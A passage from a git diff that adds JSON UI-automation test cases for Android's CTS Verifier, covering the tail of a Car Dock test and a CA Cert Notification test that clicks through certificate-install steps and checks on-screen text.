id/car_mode\",\"actionId\":\"f7ae8d87-f03e-4153-960c-6642890aa25e\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/car_mode\"},{\"type\":\"ConditionClickAction\",\"name\":\"ConditionClick-Click CTS Verifer\",\"actionId\":\"9686b4f4-9604-4715-b520-5099c7a2d329\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CTS Verifier\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e9d8fadd-7458-4e87-a43f-044fe357760a\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f7d55e65-808b-4b96-9afe-8d426fccb06b\",\"displayText\":\"Android Auto\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c89b4dc7-b75e-4dc6-aabb-894413f5cb86\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":579.0,\"x2\":44.0,\"y2\":608.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"f5005b45-67f3-4618-8f05-ece4f0378d06\",\"displayText\":\"Android Auto\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d4402cf5-d4d7-4eda-91de-c1802499a27c\",\"displayText\":\"Android Auto\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Android Auto\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":58.666666666666664,\"y1\":583.6666666666666,\"x2\":144.0,\"y2\":603.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Android Auto\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":58.666666666666664,\"y1\":583.6666666666666,\"x2\":166.0,\"y2\":603.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Android Auto\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":568.0,\"x2\":360.0,\"y2\":619.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Android Auto\"},{\"uuid\":\"9a3cf371-b408-4379-95ed-20b78078bf89\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c76564a0-8f0e-43cf-b3b3-1b301a9ae146\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":630.3333333333334,\"x2\":44.0,\"y2\":659.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"47482afe-6275-4cc8-886a-f67b5a54a5bd\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"8c0e4fa3-85a7-4377-af58-d38a0e58627a\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":58.666666666666664,\"y1\":635.0,\"x2\":135.33333333333334,\"y2\":654.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.0,\"y\":-2.1666666666667425,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":58.666666666666664,\"y1\":635.0,\"x2\":157.33333333333334,\"y2\":654.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":619.3333333333334,\"x2\":360.0,\"y2\":670.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.ListView\",\"resourceId\":\"android:id/resolver_list\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":568.0,\"x2\":360.0,\"y2\":670.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":101.0,\"y\":647.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":79.0,\"y\":-27.666666666666742,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"8c0e4fa3-85a7-4377-af58-d38a0e58627a\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CTS Verifier\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":48.0,\"y1\":628.0,\"x2\":154.0,\"y2\":666.0}},{\"type\":\"ConditionClickAction\",\"name\":\"ConditionClick-click always button\",\"actionId\":\"69f69591-237b-473e-bad5-0218a6643ee3\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"android:id/button_always\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"aadcc0c9-d1be-485a-a03b-82760becccbf\",\"displayText\":\"Always\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f1cc8c98-222a-4728-bf99-3d4cfcb8f3f6\",\"displayText\":\"Just once\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/button_once\",\"text\":\"Just once\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":198.0,\"y1\":639.0,\"x2\":279.0,\"y2\":688.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Just once\"},{\"uuid\":\"1e3f3577-6308-4fe2-aba8-0b8611189a35\",\"displayText\":\"Always\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/button_always\",\"text\":\"Always\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":279.0,\"y1\":639.0,\"x2\":343.3333333333333,\"y2\":688.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.1666666666666288,\"y\":0.33333333333325754,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Always\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/button_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":631.6666666666666,\"x2\":360.0,\"y2\":696.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":308.0,\"y\":663.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-128.0,\"y\":0.33333333333325754,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"1e3f3577-6308-4fe2-aba8-0b8611189a35\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"android:id/button_always\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":281.0,\"y1\":648.0,\"x2\":335.0,\"y2\":679.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if message \\\"Press the Home button\\\" appear\",\"actionId\":\"22779669-6cdc-439f-9870-6f354dc0ad20\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Press the Home button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6c4e48e3-c1d8-4ffe-aa6a-2802c8fc5f14\",\"displayText\":\"Press the Home button\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Press the Home button\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":73.33333333333333,\"x2\":134.33333333333334,\"y2\":91.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":72.0,\"y\":84.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.833333333333329,\"y\":-1.8333333333333428,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"6c4e48e3-c1d8-4ffe-aa6a-2802c8fc5f14\",\"firstText\":\"Press the Home button\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Press the Home button\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":141.0,\"y1\":94.0,\"x2\":3.0,\"y2\":74.0}},{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"66e3eaae-2329-4f68-b5a8-0e483d9b0fed\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"ede1fec6-3722-4ba4-bd3b-b10fed890a69\",\"245c8878-f235-47ac-b6ff-475121d72d92\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"f7ae8d87-f03e-4153-960c-6642890aa25e\",\"9686b4f4-9604-4715-b520-5099c7a2d329\",\"69f69591-237b-473e-bad5-0218a6643ee3\",\"22779669-6cdc-439f-9870-6f354dc0ad20\",\"66e3eaae-2329-4f68-b5a8-0e483d9b0fed\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Car Dock Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.025000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6ab4ade4-e911-49f5-8972-bdc1b31049c5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6ab4ade4-e911-49f5-8972-bdc1b31049c5
new file mode 100644
index 0000000..0d1ae0c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/6ab4ade4-e911-49f5-8972-bdc1b31049c5
@@ -0,0 +1 @@
+{"uuid":"6ab4ade4-e911-49f5-8972-bdc1b31049c5","details":"{\"type\":\"CompoundAction\",\"name\":\"test_CA Cert Notification Test\",\"actionId\":\"6ab4ade4-e911-49f5-8972-bdc1b31049c5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to CA Cert Notification Test\",\"actionId\":\"39ef01a5-83f8-44d2-8c55-c6561dd9d671\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CA Cert Notification Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c38299ba-0bfc-4214-91f8-695c8ce7a90a\",\"displayText\":\"CA Cert Notification Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"CA Cert Notification Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":478.5,\"x2\":351.25,\"y2\":520.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":119.0,\"y\":498.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":61.0,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"c38299ba-0bfc-4214-91f8-695c8ce7a90a\",\"firstText\":\"CA Cert Notification Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CA Cert Notification Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":485.0,\"x2\":235.0,\"y2\":512.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, CA Cert Notification Test\",\"actionId\":\"994a71b3-243b-4770-be0b-bb2c5b28f485\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CA Cert Notification Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step1- Tap to install a CA certificate\",\"actionId\":\"2354f99e-5fdc-403f-b7b4-b460c4468c99\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Tap to install a CA certificate\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if screen back to \\\"Install a certificate\\\" after install successfully\",\"actionId\":\"749fc533-dba8-4a12-8638-a35ef48a5b01\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Install a certificate\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ff05ee4b-8c07-4f26-8e08-1f7896b065a2\",\"displayText\":\"Install a certificate\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"886857bb-38b0-4c31-9df9-70674a8a48e3\",\"displayText\":\"Navigate up\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageButton\",\"contentDesc\":\"Navigate up\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":24.5,\"x2\":49.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Navigate up\"},{\"uuid\":\"b750ad25-1045-4879-9a6d-3c3db236dfd2\",\"displayText\":\"Install a certificate\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Install a certificate\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":37.25,\"x2\":212.5,\"y2\":60.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.75,\"y\":-1.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Install a certificate\"},{\"uuid\":\"24093c33-5c44-4c12-b68e-8698c683da6b\",\"displayText\":\"Search settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0e68cf02-36e1-48d0-81da-394b03ae3bf3\",\"displayText\":\"Search settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"contentDesc\":\"Search settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":318.0,\"y1\":28.0,\"x2\":360.0,\"y2\":70.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Search settings\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":318.0,\"y1\":24.5,\"x2\":360.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Search settings\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"com.android.settings:id/action_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":24.5,\"x2\":360.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":134.0,\"y\":50.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":46.0,\"y\":-1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b750ad25-1045-4879-9a6d-3c3db236dfd2\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Install a certificate\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":49.0,\"y1\":38.0,\"x2\":219.0,\"y2\":63.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step2-confirm that the Internet Widgits Pty Ltd cert appears in the list.\",\"actionId\":\"c7dc292f-d2d2-4f2f-9b30-8f42b06791a1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"confirm that the Internet Widgits Pty Ltd cert appears in the list.\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if \\\"Internet Widgits Pty Ltd\\\" is in the list\",\"actionId\":\"4d5893f7-a99c-4d8c-a843-4704d124fb57\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Internet Widgits Pty Ltd\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b0d997f6-452d-45df-acb2-04046dab9172\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0fde502e-51c2-41e6-8fd7-57132e79006b\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"8acb3011-a6ae-410c-b808-3a7ab5ae106a\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/trusted_credential_subject_primary\",\"text\":\"Internet Widgits Pty Ltd\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":135.75,\"x2\":180.25,\"y2\":157.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.375,\"y\":0.875,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Internet Widgits Pty Ltd\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":122.5,\"x2\":290.5,\"y2\":186.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Internet Widgits Pty Ltd\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":122.5,\"x2\":360.0,\"y2\":186.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":99.5,\"y\":145.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":80.5,\"y\":9.125,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"8acb3011-a6ae-410c-b808-3a7ab5ae106a\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Internet Widgits Pty Ltd\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":134.0,\"x2\":192.0,\"y2\":157.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"e0958623-42bf-43e9-839b-9a52f6d2a89a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step3-You may have been prompted to set a screen lock when installing the certificate. \",\"actionId\":\"3fcfa255-d844-4164-8f5c-b7b08bb3f2e3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"You may have been prompted to set a screen lock when installing the certificate. \"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Internet Widgits Pty Ltd exists\",\"actionId\":\"bb12eaac-0e14-46b6-9639-12d63719864c\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Internet Widgits Pty Ltd\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cf6c6d9e-b6f4-4702-a5ce-1288a212c7da\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/to_org\",\"text\":\"Internet Widgits Pty Ltd\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":40.75,\"y1\":198.75,\"x2\":319.25,\"y2\":215.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":110.5,\"y\":208.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":69.5,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"cf6c6d9e-b6f4-4702-a5ce-1288a212c7da\",\"firstText\":\"Internet Widgits Pty Ltd\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Internet Widgits Pty Ltd\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":35.0,\"y1\":199.0,\"x2\":186.0,\"y2\":217.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"304dd8b9-c54f-454b-92e0-63e05c8321d6\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ec8da72f-2d44-4168-b47e-e57d36a1eb7e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Pass Step4-There is a notification saying a certificate authority is installed. \",\"actionId\":\"7f77b9a6-d67c-4592-848a-343c80e3d1d1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"There is a notification saying a 